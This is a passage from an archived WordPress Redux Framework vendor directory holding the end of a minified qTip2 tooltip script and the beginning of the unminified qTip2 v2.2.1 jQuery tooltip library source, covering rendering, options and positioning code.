f,g,h,i,j,k,l,m,n,o=(d(b),c[0]),p=d(o.ownerSVGElement),q=o.ownerDocument,r=(parseInt(c.css("stroke-width"),10)||0)/2;!o.getBBox;)o=o.parentNode;if(!o.getBBox||!o.parentNode)return E;switch(o.nodeName){case"ellipse":case"circle":m=R.polys.ellipse(o.cx.baseVal.value,o.cy.baseVal.value,(o.rx||o.r).baseVal.value+r,(o.ry||o.r).baseVal.value+r,e);break;case"line":case"polygon":case"polyline":for(l=o.points||[{x:o.x1.baseVal.value,y:o.y1.baseVal.value},{x:o.x2.baseVal.value,y:o.y2.baseVal.value}],m=[],k=-1,i=l.numberOfItems||l.length;++k<i;)j=l.getItem?l.getItem(k):l[k],m.push.apply(m,[j.x,j.y]);m=R.polys.polygon(m,e);break;default:m=o.getBBox(),m={width:m.width,height:m.height,position:{left:m.x,top:m.y}}}return n=m.position,p=p[0],p.createSVGPoint&&(g=o.getScreenCTM(),l=p.createSVGPoint(),l.x=n.left,l.y=n.top,h=l.matrixTransform(g),n.left=h.x,n.top=h.y),q!==b&&"mouse"!==a.position.target&&(f=d((q.defaultView||q.parentWindow).frameElement).offset(),f&&(n.left+=f.left,n.top+=f.top)),q=d(q),n.left+=q.scrollLeft(),n.top+=q.scrollTop(),m},R.imagemap=function(a,b,c){b.jquery||(b=d(b));var e,f,g,h,i,j=(b.attr("shape")||"rect").toLowerCase().replace("poly","polygon"),k=d('img[usemap="#'+b.parent("map").attr("name")+'"]'),l=d.trim(b.attr("coords")),m=l.replace(/,$/,"").split(",");if(!k.length)return E;if("polygon"===j)h=R.polys.polygon(m,c);else{if(!R.polys[j])return E;for(g=-1,i=m.length,f=[];++g<i;)f.push(parseInt(m[g],10));h=R.polys[j].apply(this,f.concat(c))}return e=k.offset(),e.left+=Math.ceil((k.outerWidth(E)-k.width())/2),e.top+=Math.ceil((k.outerHeight(E)-k.height())/2),h.position.left+=e.left,h.position.top+=e.top,h};var Ab,Bb='<iframe class="qtip-bgiframe" frameborder="0" tabindex="-1" src="javascript:\'\';" style="display:block; position:absolute; z-index:-1; filter:alpha(opacity=0); -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";"></iframe>';d.extend(x.prototype,{_scroll:function(){var b=this.qtip.elements.overlay;b&&(b[0].style.top=d(a).scrollTop()+"px")},init:function(c){var e=c.tooltip;d("select, object").length<1&&(this.bgiframe=c.elements.bgiframe=d(Bb).appendTo(e),c._bind(e,"tooltipmove",this.adjustBGIFrame,this._ns,this)),this.redrawContainer=d("<div/>",{id:S+"-rcontainer"}).appendTo(b.body),c.elements.overlay&&c.elements.overlay.addClass("qtipmodal-ie6fix")&&(c._bind(a,["scroll","resize"],this._scroll,this._ns,this),c._bind(e,["tooltipshow"],this._scroll,this._ns,this)),this.redraw()},adjustBGIFrame:function(){var a,b,c=this.qtip.tooltip,d={height:c.outerHeight(E),width:c.outerWidth(E)},e=this.qtip.plugins.tip,f=this.qtip.elements.tip;b=parseInt(c.css("borderLeftWidth"),10)||0,b={left:-b,top:-b},e&&f&&(a="x"===e.corner.precedance?[I,L]:[J,K],b[a[1]]-=f[a[0]]()),this.bgiframe.css(b).css(d)},redraw:function(){if(this.qtip.rendered<1||this.drawing)return this;var a,b,c,d,e=this.qtip.tooltip,f=this.qtip.options.style,g=this.qtip.options.position.container;return this.qtip.drawing=1,f.height&&e.css(J,f.height),f.width?e.css(I,f.width):(e.css(I,"").appendTo(this.redrawContainer),b=e.width(),1>b%2&&(b+=1),c=e.css("maxWidth")||"",d=e.css("minWidth")||"",a=(c+d).indexOf("%")>-1?g.width()/100:0,c=(c.indexOf("%")>-1?a:1)*parseInt(c,10)||b,d=(d.indexOf("%")>-1?a:1)*parseInt(d,10)||0,b=c+d?Math.min(Math.max(b,d),c):b,e.css(I,Math.round(b)).appendTo(g)),this.drawing=0,this},destroy:function(){this.bgiframe&&this.bgiframe.remove(),this.qtip._unbind([a,this.qtip.tooltip],this._ns)}}),Ab=R.ie6=function(a){return 6===db.ie?new x(a):E},Ab.initialize="render",B.ie6={"^content|style$":function(){this.redraw()}}})}(window,document); //# sourceMappingURL=jquery.qtip.min.js.map����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/qtip/jquery.qtip.js������������������������������������������������0000644�����������������00000426242�14720701300�0016713 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * qTip2 - Pretty powerful tooltips - v2.2.1 * http://qtip2.com * * Copyright (c) 2014 * Released under the MIT licenses * http://jquery.org/license * * Date: Sat Sep 6 2014 11:12 GMT+0100+0100 * Plugins: tips modal viewport svg imagemap ie6 * Styles: core basic css3 */ /*global window: false, jQuery: false, console: false, define: false */ /* Cache window, document, undefined */ (function( window, document, undefined ) { // Uses AMD or browser globals to create a jQuery plugin. (function( factory ) { "use strict"; if(typeof define === 'function' && define.amd) { define(['jquery'], factory); } else if(jQuery && !jQuery.fn.qtip) { factory(jQuery); } } (function($) { "use strict"; // Enable ECMAScript "strict" operation for this function. See more: http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/ ;// Munge the primitives - Paul Irish tip var TRUE = true, FALSE = false, NULL = null, // Common variables X = 'x', Y = 'y', WIDTH = 'width', HEIGHT = 'height', // Positioning sides TOP = 'top', LEFT = 'left', BOTTOM = 'bottom', RIGHT = 'right', CENTER = 'center', // Position adjustment types FLIP = 'flip', FLIPINVERT = 'flipinvert', SHIFT = 'shift', // Shortcut vars QTIP, PROTOTYPE, CORNER, CHECKS, PLUGINS = {}, NAMESPACE = 'qtip', ATTR_HAS = 'data-hasqtip', ATTR_ID = 'data-qtip-id', WIDGET = ['ui-widget', 'ui-tooltip'], SELECTOR = '.'+NAMESPACE, INACTIVE_EVENTS = 'click dblclick mousedown mouseup mousemove mouseleave mouseenter'.split(' '), CLASS_FIXED = NAMESPACE+'-fixed', CLASS_DEFAULT = NAMESPACE + '-default', CLASS_FOCUS = NAMESPACE + '-focus', CLASS_HOVER = NAMESPACE + '-hover', CLASS_DISABLED = NAMESPACE+'-disabled', replaceSuffix = '_replacedByqTip', oldtitle = 'oldtitle', trackingBound, // Browser detection BROWSER = { /* * IE version detection * * Adapted from: http://ajaxian.com/archives/attack-of-the-ie-conditional-comment * Credit to James Padolsey for the original implemntation! */ ie: (function(){ for ( var v = 4, i = document.createElement("div"); (i.innerHTML = "<!--[if gt IE " + v + "]><i></i><![endif]-->") && i.getElementsByTagName("i")[0]; v+=1 ) {} return v > 4 ? v : NaN; }()), /* * iOS version detection */ iOS: parseFloat( ('' + (/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent) || [0,''])[1]) .replace('undefined', '3_2').replace('_', '.').replace('_', '') ) || FALSE }; ;function QTip(target, options, id, attr) { // Elements and ID this.id = id; this.target = target; this.tooltip = NULL; this.elements = { target: target }; // Internal constructs this._id = NAMESPACE + '-' + id; this.timers = { img: {} }; this.options = options; this.plugins = {}; // Cache object this.cache = { event: {}, target: $(), disabled: FALSE, attr: attr, onTooltip: FALSE, lastClass: '' }; // Set the initial flags this.rendered = this.destroyed = this.disabled = this.waiting = this.hiddenDuringWait = this.positioning = this.triggering = FALSE; } PROTOTYPE = QTip.prototype; PROTOTYPE._when = function(deferreds) { return $.when.apply($, deferreds); }; PROTOTYPE.render = function(show) { if(this.rendered || this.destroyed) { return this; } // If tooltip has already been rendered, exit var self = this, options = this.options, cache = this.cache, elements = this.elements, text = options.content.text, title = options.content.title, button = options.content.button, posOptions = options.position, namespace = '.'+this._id+' ', deferreds = [], tooltip; // Add ARIA attributes to target $.attr(this.target[0], 'aria-describedby', this._id); // Create public position object that tracks current position corners cache.posClass = this._createPosClass( (this.position = { my: posOptions.my, at: posOptions.at }).my ); // Create tooltip element this.tooltip = elements.tooltip = tooltip = $('<div/>', { 'id': this._id, 'class': [ NAMESPACE, CLASS_DEFAULT, options.style.classes, cache.posClass ].join(' '), 'width': options.style.width || '', 'height': options.style.height || '', 'tracking': posOptions.target === 'mouse' && posOptions.adjust.mouse, /* ARIA specific attributes */ 'role': 'alert', 'aria-live': 'polite', 'aria-atomic': FALSE, 'aria-describedby': this._id + '-content', 'aria-hidden': TRUE }) .toggleClass(CLASS_DISABLED, this.disabled) .attr(ATTR_ID, this.id) .data(NAMESPACE, this) .appendTo(posOptions.container) .append( // Create content element elements.content = $('<div />', { 'class': NAMESPACE + '-content', 'id': this._id + '-content', 'aria-atomic': TRUE }) ); // Set rendered flag and prevent redundant reposition calls for now this.rendered = -1; this.positioning = TRUE; // Create title... if(title) { this._createTitle(); // Update title only if its not a callback (called in toggle if so) if(!$.isFunction(title)) { deferreds.push( this._updateTitle(title, FALSE) ); } } // Create button if(button) { this._createButton(); } // Set proper rendered flag and update content if not a callback function (called in toggle) if(!$.isFunction(text)) { deferreds.push( this._updateContent(text, FALSE) ); } this.rendered = TRUE; // Setup widget classes this._setWidget(); // Initialize 'render' plugins $.each(PLUGINS, function(name) { var instance; if(this.initialize === 'render' && (instance = this(self))) { self.plugins[name] = instance; } }); // Unassign initial events and assign proper events this._unassignEvents(); this._assignEvents(); // When deferreds have completed this._when(deferreds).then(function() { // tooltiprender event self._trigger('render'); // Reset flags self.positioning = FALSE; // Show tooltip if not hidden during wait period if(!self.hiddenDuringWait && (options.show.ready || show)) { self.toggle(TRUE, cache.event, FALSE); } self.hiddenDuringWait = FALSE; }); // Expose API QTIP.api[this.id] = this; return this; }; PROTOTYPE.destroy = function(immediate) { // Set flag the signify destroy is taking place to plugins // and ensure it only gets destroyed once! if(this.destroyed) { return this.target; } function process() { if(this.destroyed) { return; } this.destroyed = TRUE; var target = this.target, title = target.attr(oldtitle), timer; // Destroy tooltip if rendered if(this.rendered) { this.tooltip.stop(1,0).find('*').remove().end().remove(); } // Destroy all plugins $.each(this.plugins, function(name) { this.destroy && this.destroy(); }); // Clear timers for(timer in this.timers) { clearTimeout(this.timers[timer]); } // Remove api object and ARIA attributes target.removeData(NAMESPACE) .removeAttr(ATTR_ID) .removeAttr(ATTR_HAS) .removeAttr('aria-describedby'); // Reset old title attribute if removed if(this.options.suppress && title) { target.attr('title', title).removeAttr(oldtitle); } // Remove qTip events associated with this API this._unassignEvents(); // Remove ID from used id objects, and delete object references // for better garbage collection and leak protection this.options = this.elements = this.cache = this.timers = this.plugins = this.mouse = NULL; // Delete epoxsed API object delete QTIP.api[this.id]; } // If an immediate destory is needed if((immediate !== TRUE || this.triggering === 'hide') && this.rendered) { this.tooltip.one('tooltiphidden', $.proxy(process, this)); !this.triggering && this.hide(); } // If we're not in the process of hiding... process else { process.call(this); } return this.target; }; ;function invalidOpt(a) { return a === NULL || $.type(a) !== 'object'; } function invalidContent(c) { return !( $.isFunction(c) || (c && c.attr) || c.length || ($.type(c) === 'object' && (c.jquery || c.then) )); } // Option object sanitizer function sanitizeOptions(opts) { var content, text, ajax, once; if(invalidOpt(opts)) { return FALSE; } if(invalidOpt(opts.metadata)) { opts.metadata = { type: opts.metadata }; } if('content' in opts) { content = opts.content; if(invalidOpt(content) || content.jquery || content.done) { content = opts.content = { text: (text = invalidContent(content) ? FALSE : content) }; } else { text = content.text; } // DEPRECATED - Old content.ajax plugin functionality // Converts it into the proper Deferred syntax if('ajax' in content) { ajax = content.ajax; once = ajax && ajax.once !== FALSE; delete content.ajax; content.text = function(event, api) { var loading = text || $(this).attr(api.options.content.attr) || 'Loading...', deferred = $.ajax( $.extend({}, ajax, { context: api }) ) .then(ajax.success, NULL, ajax.error) .then(function(content) { if(content && once) { api.set('content.text', content); } return content; }, function(xhr, status, error) { if(api.destroyed || xhr.status === 0) { return; } api.set('content.text', status + ': ' + error); }); return !once ? (api.set('content.text', loading), deferred) : loading; }; } if('title' in content) { if($.isPlainObject(content.title)) { content.button = content.title.button; content.title = content.title.text; } if(invalidContent(content.title || FALSE)) { content.title = FALSE; } } } if('position' in opts && invalidOpt(opts.position)) { opts.position = { my: opts.position, at: opts.position }; } if('show' in opts && invalidOpt(opts.show)) { opts.show = opts.show.jquery ? { target: opts.show } : opts.show === TRUE ? { ready: TRUE } : { event: opts.show }; } if('hide' in opts && invalidOpt(opts.hide)) { opts.hide = opts.hide.jquery ? { target: opts.hide } : { event: opts.hide }; } if('style' in opts && invalidOpt(opts.style)) { opts.style = { classes: opts.style }; } // Sanitize plugin options $.each(PLUGINS, function() { this.sanitize && this.sanitize(opts); }); return opts; } // Setup builtin .set() option checks CHECKS = PROTOTYPE.checks = { builtin: { // Core checks '^id$': function(obj, o, v, prev) { var id = v === TRUE ? QTIP.nextid : v, new_id = NAMESPACE + '-' + id; if(id !== FALSE && id.length > 0 && !$('#'+new_id).length) { this._id = new_id; if(this.rendered) { this.tooltip[0].id = this._id; this.elements.content[0].id = this._id + '-content'; this.elements.title[0].id = this._id + '-title'; } } else { obj[o] = prev; } }, '^prerender': function(obj, o, v) { v && !this.rendered && this.render(this.options.show.ready); }, // Content checks '^content.text$': function(obj, o, v) { this._updateContent(v); }, '^content.attr$': function(obj, o, v, prev) { if(this.options.content.text === this.target.attr(prev)) { this._updateContent( this.target.attr(v) ); } }, '^content.title$': function(obj, o, v) { // Remove title if content is null if(!v) { return this._removeTitle(); } // If title isn't already created, create it now and update v && !this.elements.title && this._createTitle(); this._updateTitle(v); }, '^content.button$': function(obj, o, v) { this._updateButton(v); }, '^content.title.(text|button)$': function(obj, o, v) { this.set('content.'+o, v); // Backwards title.text/button compat }, // Position checks '^position.(my|at)$': function(obj, o, v){ 'string' === typeof v && (this.position[o] = obj[o] = new CORNER(v, o === 'at')); }, '^position.container$': function(obj, o, v){ this.rendered && this.tooltip.appendTo(v); }, // Show checks '^show.ready$': function(obj, o, v) { v && (!this.rendered && this.render(TRUE) || this.toggle(TRUE)); }, // Style checks '^style.classes$': function(obj, o, v, p) { this.rendered && this.tooltip.removeClass(p).addClass(v); }, '^style.(width|height)': function(obj, o, v) { this.rendered && this.tooltip.css(o, v); }, '^style.widget|content.title': function() { this.rendered && this._setWidget(); }, '^style.def': function(obj, o, v) { this.rendered && this.tooltip.toggleClass(CLASS_DEFAULT, !!v); }, // Events check '^events.(render|show|move|hide|focus|blur)$': function(obj, o, v) { this.rendered && this.tooltip[($.isFunction(v) ? '' : 'un') + 'bind']('tooltip'+o, v); }, // Properties which require event reassignment '^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)': function() { if(!this.rendered) { return; } // Set tracking flag var posOptions = this.options.position; this.tooltip.attr('tracking', posOptions.target === 'mouse' && posOptions.adjust.mouse); // Reassign events this._unassignEvents(); this._assignEvents(); } } }; // Dot notation converter function convertNotation(options, notation) { var i = 0, obj, option = options, // Split notation into array levels = notation.split('.'); // Loop through while( option = option[ levels[i++] ] ) { if(i < levels.length) { obj = option; } } return [obj || options, levels.pop()]; } PROTOTYPE.get = function(notation) { if(this.destroyed) { return this; } var o = convertNotation(this.options, notation.toLowerCase()), result = o[0][ o[1] ]; return result.precedance ? result.string() : result; }; function setCallback(notation, args) { var category, rule, match; for(category in this.checks) { for(rule in this.checks[category]) { if(match = (new RegExp(rule, 'i')).exec(notation)) { args.push(match); if(category === 'builtin' || this.plugins[category]) { this.checks[category][rule].apply( this.plugins[category] || this, args ); } } } } } var rmove = /^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i, rrender = /^prerender|show\.ready/i; PROTOTYPE.set = function(option, value) { if(this.destroyed) { return this; } var rendered = this.rendered, reposition = FALSE, options = this.options, checks = this.checks, name; // Convert singular option/value pair into object form if('string' === typeof option) { name = option; option = {}; option[name] = value; } else { option = $.extend({}, option); } // Set all of the defined options to their new values $.each(option, function(notation, value) { if(rendered && rrender.test(notation)) { delete option[notation]; return; } // Set new obj value var obj = convertNotation(options, notation.toLowerCase()), previous; previous = obj[0][ obj[1] ]; obj[0][ obj[1] ] = value && value.nodeType ? $(value) : value; // Also check if we need to reposition reposition = rmove.test(notation) || reposition; // Set the new params for the callback option[notation] = [obj[0], obj[1], value, previous]; }); // Re-sanitize options sanitizeOptions(options); /* * Execute any valid callbacks for the set options * Also set positioning flag so we don't get loads of redundant repositioning calls. */ this.positioning = TRUE; $.each(option, $.proxy(setCallback, this)); this.positioning = FALSE; // Update position if needed if(this.rendered && this.tooltip[0].offsetWidth > 0 && reposition) { this.reposition( options.position.target === 'mouse' ? NULL : this.cache.event ); } return this; }; ;PROTOTYPE._update = function(content, element, reposition) { var self = this, cache = this.cache; // Make sure tooltip is rendered and content is defined. If not return if(!this.rendered || !content) { return FALSE; } // Use function to parse content if($.isFunction(content)) { content = content.call(this.elements.target, cache.event, this) || ''; } // Handle deferred content if($.isFunction(content.then)) { cache.waiting = TRUE; return content.then(function(c) { cache.waiting = FALSE; return self._update(c, element); }, NULL, function(e) { return self._update(e, element); }); } // If content is null... return false if(content === FALSE || (!content && content !== '')) { return FALSE; } // Append new content if its a DOM array and show it if hidden if(content.jquery && content.length > 0) { element.empty().append( content.css({ display: 'block', visibility: 'visible' }) ); } // Content is a regular string, insert the new content else { element.html(content); } // Wait for content to be loaded, and reposition return this._waitForContent(element).then(function(images) { if(self.rendered && self.tooltip[0].offsetWidth > 0) { self.reposition(cache.event, !images.length); } }); }; PROTOTYPE._waitForContent = function(element) { var cache = this.cache; // Set flag cache.waiting = TRUE; // If imagesLoaded is included, ensure images have loaded and return promise return ( $.fn.imagesLoaded ? element.imagesLoaded() : $.Deferred().resolve([]) ) .done(function() { cache.waiting = FALSE; }) .promise(); }; PROTOTYPE._updateContent = function(content, reposition) { this._update(content, this.elements.content, reposition); }; PROTOTYPE._updateTitle = function(content, reposition) { if(this._update(content, this.elements.title, reposition) === FALSE) { this._removeTitle(FALSE); } }; PROTOTYPE._createTitle = function() { var elements = this.elements, id = this._id+'-title'; // Destroy previous title element, if present if(elements.titlebar) { this._removeTitle(); } // Create title bar and title elements elements.titlebar = $('<div />', { 'class': NAMESPACE + '-titlebar ' + (this.options.style.widget ? createWidgetClass('header') : '') }) .append( elements.title = $('<div />', { 'id': id, 'class': NAMESPACE + '-title', 'aria-atomic': TRUE }) ) .insertBefore(elements.content) // Button-specific events .delegate('.qtip-close', 'mousedown keydown mouseup keyup mouseout', function(event) { $(this).toggleClass('ui-state-active ui-state-focus', event.type.substr(-4) === 'down'); }) .delegate('.qtip-close', 'mouseover mouseout', function(event){ $(this).toggleClass('ui-state-hover', event.type === 'mouseover'); }); // Create button if enabled if(this.options.content.button) { this._createButton(); } }; PROTOTYPE._removeTitle = function(reposition) { var elements = this.elements; if(elements.title) { elements.titlebar.remove(); elements.titlebar = elements.title = elements.button = NULL; // Reposition if enabled if(reposition !== FALSE) { this.reposition(); } } }; ;PROTOTYPE._createPosClass = function(my) { return NAMESPACE + '-pos-' + (my || this.options.position.my).abbrev(); }; PROTOTYPE.reposition = function(event, effect) { if(!this.rendered || this.positioning || this.destroyed) { return this; } // Set positioning flag this.positioning = TRUE; var cache = this.cache, tooltip = this.tooltip, posOptions = this.options.position, target = posOptions.target, my = posOptions.my, at = posOptions.at, viewport = posOptions.viewport, container = posOptions.container, adjust = posOptions.adjust, method = adjust.method.split(' '), tooltipWidth = tooltip.outerWidth(FALSE), tooltipHeight = tooltip.outerHeight(FALSE), targetWidth = 0, targetHeight = 0, type = tooltip.css('position'), position = { left: 0, top: 0 }, visible = tooltip[0].offsetWidth > 0, isScroll = event && event.type === 'scroll', win = $(window), doc = container[0].ownerDocument, mouse = this.mouse, pluginCalculations, offset, adjusted, newClass; // Check if absolute position was passed if($.isArray(target) && target.length === 2) { // Force left top and set position at = { x: LEFT, y: TOP }; position = { left: target[0], top: target[1] }; } // Check if mouse was the target else if(target === 'mouse') { // Force left top to allow flipping at = { x: LEFT, y: TOP }; // Use the mouse origin that caused the show event, if distance hiding is enabled if((!adjust.mouse || this.options.hide.distance) && cache.origin && cache.origin.pageX) { event = cache.origin; } // Use cached event for resize/scroll events else if(!event || (event && (event.type === 'resize' || event.type === 'scroll'))) { event = cache.event; } // Otherwise, use the cached mouse coordinates if available else if(mouse && mouse.pageX) { event = mouse; } // Calculate body and container offset and take them into account below if(type !== 'static') { position = container.offset(); } if(doc.body.offsetWidth !== (window.innerWidth || doc.documentElement.clientWidth)) { offset = $(document.body).offset(); } // Use event coordinates for position position = { left: event.pageX - position.left + (offset && offset.left || 0), top: event.pageY - position.top + (offset && offset.top || 0) }; // Scroll events are a pain, some browsers if(adjust.mouse && isScroll && mouse) { position.left -= (mouse.scrollX || 0) - win.scrollLeft(); position.top -= (mouse.scrollY || 0) - win.scrollTop(); } } // Target wasn't mouse or absolute... else { // Check if event targetting is being used if(target === 'event') { if(event && event.target && event.type !== 'scroll' && event.type !== 'resize') { cache.target = $(event.target); } else if(!event.target) { cache.target = this.elements.target; } } else if(target !== 'event'){ cache.target = $(target.jquery ? target : this.elements.target); } target = cache.target; // Parse the target into a jQuery object and make sure there's an element present target = $(target).eq(0); if(target.length === 0) { return this; } // Check if window or document is the target else if(target[0] === document || target[0] === window) { targetWidth = BROWSER.iOS ? window.innerWidth : target.width(); targetHeight = BROWSER.iOS ? window.innerHeight : target.height(); if(target[0] === window) { position = { top: (viewport || target).scrollTop(), left: (viewport || target).scrollLeft() }; } } // Check if the target is an <AREA> element else if(PLUGINS.imagemap && target.is('area')) { pluginCalculations = PLUGINS.imagemap(this, target, at, PLUGINS.viewport ? method : FALSE); } // Check if the target is an SVG element else if(PLUGINS.svg && target && target[0].ownerSVGElement) { pluginCalculations = PLUGINS.svg(this, target, at, PLUGINS.viewport ? method : FALSE); } // Otherwise use regular jQuery methods else { targetWidth = target.outerWidth(FALSE); targetHeight = target.outerHeight(FALSE); position = target.offset(); } // Parse returned plugin values into proper variables if(pluginCalculations) { targetWidth = pluginCalculations.width; targetHeight = pluginCalculations.height; offset = pluginCalculations.offset; position = pluginCalculations.position; } // Adjust position to take into account offset parents position = this.reposition.offset(target, position, container); // Adjust for position.fixed tooltips (and also iOS scroll bug in v3.2-4.0 & v4.3-4.3.2) if((BROWSER.iOS > 3.1 && BROWSER.iOS < 4.1) || (BROWSER.iOS >= 4.3 && BROWSER.iOS < 4.33) || (!BROWSER.iOS && type === 'fixed') ){ position.left -= win.scrollLeft(); position.top -= win.scrollTop(); } // Adjust position relative to target if(!pluginCalculations || (pluginCalculations && pluginCalculations.adjustable !== FALSE)) { position.left += at.x === RIGHT ? targetWidth : at.x === CENTER ? targetWidth / 2 : 0; position.top += at.y === BOTTOM ? targetHeight : at.y === CENTER ? targetHeight / 2 : 0; } } // Adjust position relative to tooltip position.left += adjust.x + (my.x === RIGHT ? -tooltipWidth : my.x === CENTER ? -tooltipWidth / 2 : 0); position.top += adjust.y + (my.y === BOTTOM ? -tooltipHeight : my.y === CENTER ? -tooltipHeight / 2 : 0); // Use viewport adjustment plugin if enabled if(PLUGINS.viewport) { adjusted = position.adjusted = PLUGINS.viewport( this, position, posOptions, targetWidth, targetHeight, tooltipWidth, tooltipHeight ); // Apply offsets supplied by positioning plugin (if used) if(offset && adjusted.left) { position.left += offset.left; } if(offset && adjusted.top) { position.top += offset.top; } // Apply any new 'my' position if(adjusted.my) { this.position.my = adjusted.my; } } // Viewport adjustment is disabled, set values to zero else { position.adjusted = { left: 0, top: 0 }; } // Set tooltip position class if it's changed if(cache.posClass !== (newClass = this._createPosClass(this.position.my))) { tooltip.removeClass(cache.posClass).addClass( (cache.posClass = newClass) ); } // tooltipmove event if(!this._trigger('move', [position, viewport.elem || viewport], event)) { return this; } delete position.adjusted; // If effect is disabled, target it mouse, no animation is defined or positioning gives NaN out, set CSS directly if(effect === FALSE || !visible || isNaN(position.left) || isNaN(position.top) || target === 'mouse' || !$.isFunction(posOptions.effect)) { tooltip.css(position); } // Use custom function if provided else if($.isFunction(posOptions.effect)) { posOptions.effect.call(tooltip, this, $.extend({}, position)); tooltip.queue(function(next) { // Reset attributes to avoid cross-browser rendering bugs $(this).css({ opacity: '', height: '' }); if(BROWSER.ie) { this.style.removeAttribute('filter'); } next(); }); } // Set positioning flag this.positioning = FALSE; return this; }; // Custom (more correct for qTip!) offset calculator PROTOTYPE.reposition.offset = function(elem, pos, container) { if(!container[0]) { return pos; } var ownerDocument = $(elem[0].ownerDocument), quirks = !!BROWSER.ie && document.compatMode !== 'CSS1Compat', parent = container[0], scrolled, position, parentOffset, overflow; function scroll(e, i) { pos.left += i * e.scrollLeft(); pos.top += i * e.scrollTop(); } // Compensate for non-static containers offset do { if((position = $.css(parent, 'position')) !== 'static') { if(position === 'fixed') { parentOffset = parent.getBoundingClientRect(); scroll(ownerDocument, -1); } else { parentOffset = $(parent).position(); parentOffset.left += (parseFloat($.css(parent, 'borderLeftWidth')) || 0); parentOffset.top += (parseFloat($.css(parent, 'borderTopWidth')) || 0); } pos.left -= parentOffset.left + (parseFloat($.css(parent, 'marginLeft')) || 0); pos.top -= parentOffset.top + (parseFloat($.css(parent, 'marginTop')) || 0); // If this is the first parent element with an overflow of "scroll" or "auto", store it if(!scrolled && (overflow = $.css(parent, 'overflow')) !== 'hidden' && overflow !== 'visible') { scrolled = $(parent); } } } while((parent = parent.offsetParent)); // Compensate for containers scroll if it also has an offsetParent (or in IE quirks mode) if(scrolled && (scrolled[0] !== ownerDocument[0] || quirks)) { scroll(scrolled, 1); } return pos; }; // Corner class var C = (CORNER = PROTOTYPE.reposition.Corner = function(corner, forceY) { corner = ('' + corner).replace(/([A-Z])/, ' $1').replace(/middle/gi, CENTER).toLowerCase(); this.x = (corner.match(/left|right/i) || corner.match(/center/) || ['inherit'])[0].toLowerCase(); this.y = (corner.match(/top|bottom|center/i) || ['inherit'])[0].toLowerCase(); this.forceY = !!forceY; var f = corner.charAt(0); this.precedance = (f === 't' || f === 'b' ? Y : X); }).prototype; C.invert = function(z, center) { this[z] = this[z] === LEFT ? RIGHT : this[z] === RIGHT ? LEFT : center || this[z]; }; C.string = function(join) { var x = this.x, y = this.y; var result = x !== y ? (x === 'center' || y !== 'center' && (this.precedance === Y || this.forceY) ? [y,x] : [x,y] ) : [x]; return join !== false ? result.join(' ') : result; }; C.abbrev = function() { var result = this.string(false); return result[0].charAt(0) + (result[1] && result[1].charAt(0) || ''); }; C.clone = function() { return new CORNER( this.string(), this.forceY ); }; ; PROTOTYPE.toggle = function(state, event) { var cache = this.cache, options = this.options, tooltip = this.tooltip; // Try to prevent flickering when tooltip overlaps show element if(event) { if((/over|enter/).test(event.type) && cache.event && (/out|leave/).test(cache.event.type) && options.show.target.add(event.target).length === options.show.target.length && tooltip.has(event.relatedTarget).length) { return this; } // Cache event cache.event = $.event.fix(event); } // If we're currently waiting and we've just hidden... stop it this.waiting && !state && (this.hiddenDuringWait = TRUE); // Render the tooltip if showing and it isn't already if(!this.rendered) { return state ? this.render(1) : this; } else if(this.destroyed || this.disabled) { return this; } var type = state ? 'show' : 'hide', opts = this.options[type], otherOpts = this.options[ !state ? 'show' : 'hide' ], posOptions = this.options.position, contentOptions = this.options.content, width = this.tooltip.css('width'), visible = this.tooltip.is(':visible'), animate = state || opts.target.length === 1, sameTarget = !event || opts.target.length < 2 || cache.target[0] === event.target, identicalState, allow, showEvent, delay, after; // Detect state if valid one isn't provided if((typeof state).search('boolean|number')) { state = !visible; } // Check if the tooltip is in an identical state to the new would-be state identicalState = !tooltip.is(':animated') && visible === state && sameTarget; // Fire tooltip(show/hide) event and check if destroyed allow = !identicalState ? !!this._trigger(type, [90]) : NULL; // Check to make sure the tooltip wasn't destroyed in the callback if(this.destroyed) { return this; } // If the user didn't stop the method prematurely and we're showing the tooltip, focus it if(allow !== FALSE && state) { this.focus(event); } // If the state hasn't changed or the user stopped it, return early if(!allow || identicalState) { return this; } // Set ARIA hidden attribute $.attr(tooltip[0], 'aria-hidden', !!!state); // Execute state specific properties if(state) { // Store show origin coordinates this.mouse && (cache.origin = $.event.fix(this.mouse)); // Update tooltip content & title if it's a dynamic function if($.isFunction(contentOptions.text)) { this._updateContent(contentOptions.text, FALSE); } if($.isFunction(contentOptions.title)) { this._updateTitle(contentOptions.title, FALSE); } // Cache mousemove events for positioning purposes (if not already tracking) if(!trackingBound && posOptions.target === 'mouse' && posOptions.adjust.mouse) { $(document).bind('mousemove.'+NAMESPACE, this._storeMouse); trackingBound = TRUE; } // Update the tooltip position (set width first to prevent viewport/max-width issues) if(!width) { tooltip.css('width', tooltip.outerWidth(FALSE)); } this.reposition(event, arguments[2]); if(!width) { tooltip.css('width', ''); } // Hide other tooltips if tooltip is solo if(!!opts.solo) { (typeof opts.solo === 'string' ? $(opts.solo) : $(SELECTOR, opts.solo)) .not(tooltip).not(opts.target).qtip('hide', $.Event('tooltipsolo')); } } else { // Clear show timer if we're hiding clearTimeout(this.timers.show); // Remove cached origin on hide delete cache.origin; // Remove mouse tracking event if not needed (all tracking qTips are hidden) if(trackingBound && !$(SELECTOR+'[tracking="true"]:visible', opts.solo).not(tooltip).length) { $(document).unbind('mousemove.'+NAMESPACE); trackingBound = FALSE; } // Blur the tooltip this.blur(event); } // Define post-animation, state specific properties after = $.proxy(function() { if(state) { // Prevent antialias from disappearing in IE by removing filter if(BROWSER.ie) { tooltip[0].style.removeAttribute('filter'); } // Remove overflow setting to prevent tip bugs tooltip.css('overflow', ''); // Autofocus elements if enabled if('string' === typeof opts.autofocus) { $(this.options.show.autofocus, tooltip).focus(); } // If set, hide tooltip when inactive for delay period this.options.show.target.trigger('qtip-'+this.id+'-inactive'); } else { // Reset CSS states tooltip.css({ display: '', visibility: '', opacity: '', left: '', top: '' }); } // tooltipvisible/tooltiphidden events this._trigger(state ? 'visible' : 'hidden'); }, this); // If no effect type is supplied, use a simple toggle if(opts.effect 